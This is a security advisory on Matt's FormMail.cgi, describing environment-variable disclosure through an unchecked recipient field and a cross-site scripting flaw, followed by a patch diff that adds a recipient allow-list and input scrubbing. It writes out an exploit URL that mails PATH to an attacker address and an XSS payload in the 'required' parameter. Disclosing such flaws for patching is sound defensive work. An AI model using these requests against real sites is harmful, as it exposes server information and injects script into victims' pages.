|
Vulnerability FormMail.cgi Affected Matt's FormMail.cgi Description Following is based on Black Watch Labs Advisory. The script allows several environment variables to be viewed by the attacker, who can gain useful information on the site, making further attacks more feasible. FormMail contains a debug field named "env_report", whose value is a list of environment variables (accessed via $ENV[name]) separated by commas. These variables (if they exist) are embedded into the message body. Furthermore, the script does not check the integrity of the recipient, thus the recipient field can be changed, so the message will be sent to the attacker’s account. Thus the attacker can gain the environment information. As for exploit, assume the URL for the script is http://www.formmail.site/cgi-bin/formmail.cgi then to get the PATH environment parameter (i.e. to send it to account: attacker@attacker.site), all there is to do is to request the following URL: http://www.formmail.site/cgibin/formmail.cgi?env_report=PATH&recipient=attacker@attacker.site&required=&firstname=&lastname=&email=&message=&Submit=Submit It also appears to be vulnerable to cross-site scripting problems. Hint: hack the 'required' config, e.g. http://victim.example.com/formmail.cgi?required=<a+href%3d'javascript%3aalert("hello")%3b'>hello</a>&recipient=foo Solution Many of these scripts are also Perl-based, which means auditing and correcting them are easy. Anybody who's not auditing and tweaking freebie scripts like this one needs to rethink their Web app procedures. Some patches: --- formmail.cgi.orig Wed May 10 23:34:09 2000 +++ formmail.cgi Thu May 11 00:14:22 2000 @@ -34,6 +34,13 @@ @referers = ('worldwidemart.com','206.31.72.203'); +# @validrecipients limits what email addresses can receive form submissions; +# this should be an array of regular expressions. Note that the recipient +# value should contain only one Internet email address; use an alias or +# hack the script more if you need/want multiple recipients for one form + +@validrecipients = ( '^[a-z]{1,}\@goodguys\.example\.com$' ); + # Done # ############################################################################## @@ -175,10 +182,16 @@ # names or environment variables. # $Config{'required'} =~ s/(\s+|\n)?,(\s+|\n)?/,/g; $Config{'required'} =~ s/(\s+)?\n+(\s+)?//g; + # required fields should have alphanumeric names; this + # helps combat cross-site scripting probs in &error() + $Config{'required'} =~ s/[^a-zA-Z0-9\_]//gs; $Config{'env_report'} =~ s/(\s+|\n)?,(\s+|\n)?/,/g; $Config{'env_report'} =~ s/(\s+)?\n+(\s+)?//g; $Config{'print_config'} =~ s/(\s+|\n)?,(\s+|\n)?/,/g; $Config{'print_config'} =~ s/(\s+)?\n+(\s+)?//g; + # missing_fields_redirect should not be used to add arbitrary server + # headers, etc.; scrub its contents + $Config{'missing_fields_redirect'} =~ s/[^a-zA-Z0-9\_\:\/\-]//gs; # Split the configuration variables into individual field names. # @Required = split(/,/,$Config{'required'}); @@ -194,6 +207,18 @@ if (!$Config{'recipient'}) { if (!defined(%Form)) { &error('bad_referer') } else { &error('no_recipient') } + } else { + # have recipient; is it OK? + $recipientOK = 0; + foreach $possibleRecipient ( @validrecipients ) { + if ( $Config{'recipient'} =~ /$possibleRecipient/i ) { + $recipientOK = 1; + last; + } + } + if ( $recipientOK != 1 ) { + &error('no_recipient'); + } } # For each require field defined in the form: # @@ -570,10 +595,10 @@ <body bgcolor=#FFFFFF text=#000000> <center> <table border=0 width=600 bgcolor=#9C9C9C> - <tr><th><font size=+2>Error: No Recipient</font></th></tr> + <tr><th><font size=+2>Error: No Valid Recipient</font></th></tr> </table> <table border=0 width=600 bgcolor=#CFCFCF> - <tr><td>No Recipient was specified in the data sent to FormMail. Please + <tr><td>No Valid Recipient was specified in the data sent to FormMail. Please make sure you have filled in the 'recipient' form field with an e-mail address. More information on filling in recipient form fields can be found in the README file.<hr size=1>